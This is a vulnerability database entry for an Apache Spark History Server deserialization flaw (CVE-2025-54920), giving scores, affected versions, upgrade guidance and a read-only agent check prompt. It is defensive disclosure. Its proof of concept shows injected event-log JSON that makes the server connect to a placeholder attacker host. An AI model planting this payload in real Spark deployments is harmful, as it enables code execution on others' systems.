# CVE-2025-54920: Apache Spark: Spark History Server Code Execution Vulnerability

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH 8.8
- **CVSS:** 8.8 (v3.1, CNA) `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Privileges required: Low; User interaction: None; Scope: Unchanged; Confidentiality impact: High; Integrity impact: High; Availability impact: High
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** Yes (see exploit references)
- **Remote exploitation:** Remote, login needed
- **EPSS:** 6.47% (percentile 95, 2026-11-26)
- **CWE:** CWE-502
- **Aliases:** BIT-spark-2025-54920, GHSA-jwp6-cvj8-fw65
- **Published:** 2026-03-14T09:01:50.486Z
- **Modified:** 2026-09-10T03:51:00.600Z

## Who should check

- Projects that depend on Maven package org.apache.spark:spark-core\_2.13 (\>= 4.0.0, \< 4.0.1)
- Projects that depend on Maven package org.apache.spark:spark-core\_2.12 (\< 3.5.7)
- Projects that depend on Maven package org.apache.spark:spark-core\_2.11 (\<= 2.4.8)
- Projects that depend on Maven package org.apache.spark:spark-core\_2.10 (\<= 2.2.3)
- Projects that depend on Maven package org.apache.spark:spark-core\_2.9.3 (\<= 0.8.1-incubating)
- Anyone running Apache Software Foundation Apache Spark \< 3.5.7; \>= 4.0.0, \< 4.0.1

## Description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.





Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.





Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.


The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.






Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:


{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://\<IP\>:\<PORT\>/",
  "info": {
    "hive.metastore.uris": "thrift://\<IP\>:\<PORT\>"
  }
}







3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.










Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

## Affected and fixed versions

- Maven `org.apache.spark:spark-core_2.13`: affected \>= 4.0.0, \< 4.0.1; fixed 4.0.1, 3.5.7 (osv)
- Maven `org.apache.spark:spark-core_2.12`: affected \< 3.5.7; fixed 3.5.7 (osv)
- Maven `org.apache.spark:spark-core_2.11`: affected \<= 2.4.8; fixed no fix listed yet (osv)
- Maven `org.apache.spark:spark-core_2.10`: affected \<= 2.2.3; fixed no fix listed yet (osv)
- Maven `org.apache.spark:spark-core_2.9.3`: affected \<= 0.8.1-incubating; fixed no fix listed yet (osv)
- Apache Software Foundation Apache Spark: \< 3.5.7; \>= 4.0.0, \< 4.0.1 (cvelist)

## Mitigation

- Upgrade org.apache.spark:spark-core\_2.13 to one of 4.0.1, 3.5.7 (or later in the same release line).
- Upgrade org.apache.spark:spark-core\_2.12 to 3.5.7 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2025-54920. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2025-54920.md
Affected: org.apache.spark:spark-core_2.13 >= 4.0.0, < 4.0.1; org.apache.spark:spark-core_2.12 < 3.5.7; org.apache.spark:spark-core_2.11 <= 2.4.8; org.apache.spark:spark-core_2.10 <= 2.2.3; org.apache.spark:spark-core_2.9.3 <= 0.8.1-incubating
Fixed in: 4.0.1, 3.5.7

Steps:
1. Search this machine and project for org.apache.spark:spark-core_2.13 (Maven), org.apache.spark:spark-core_2.12 (Maven), org.apache.spark:spark-core_2.11 (Maven), org.apache.spark:spark-core_2.10 (Maven), org.apache.spark:spark-core_2.9.3 (Maven), Apache Software Foundation Apache Spark: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2025-54920 being exploited?

There is no confirmed exploitation: CVE-2025-54920 is not in the CISA Known Exploited Vulnerabilities catalog. Public exploit code or a proof of concept is available. EPSS estimates a 6.47% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2025-54920?

High: CVSS 8.8 (v3.1, scored by CNA). Remote, login needed.

### Which versions are affected by CVE-2025-54920?

org.apache.spark:spark-core\_2.13 \>= 4.0.0, \< 4.0.1; org.apache.spark:spark-core\_2.12 \< 3.5.7; org.apache.spark:spark-core\_2.11 \<= 2.4.8; org.apache.spark:spark-core\_2.10 \<= 2.2.3; org.apache.spark:spark-core\_2.9.3 \<= 0.8.1-incubating.

### Is there a fix for CVE-2025-54920?

Yes. Fixed in 4.0.1, 3.5.7. Upgrade org.apache.spark:spark-core\_2.13 to one of 4.0.1, 3.5.7 (or later in the same release line). Upgrade org.apache.spark:spark-core\_2.12 to 3.5.7 or later.

### How do I check if I'm affected by CVE-2025-54920?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s>
- vendor: <https://nvd.nist.gov/vuln/detail/CVE-2025-54920>
- patch: <https://github.com/apache/spark/pull/51312>
- patch: <https://github.com/apache/spark/pull/51323>
- exploit: <http://www.openwall.com/lists/oss-security/2026/03/13/4>
- other: <https://issues.apache.org/jira/browse/SPARK-52381>
- other: <https://github.com/apache/spark>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2025-54920>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-jwp6-cvj8-fw65> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2025-54920> · JSON: <https://flawdb.com/api/v1/entries/CVE-2025-54920>
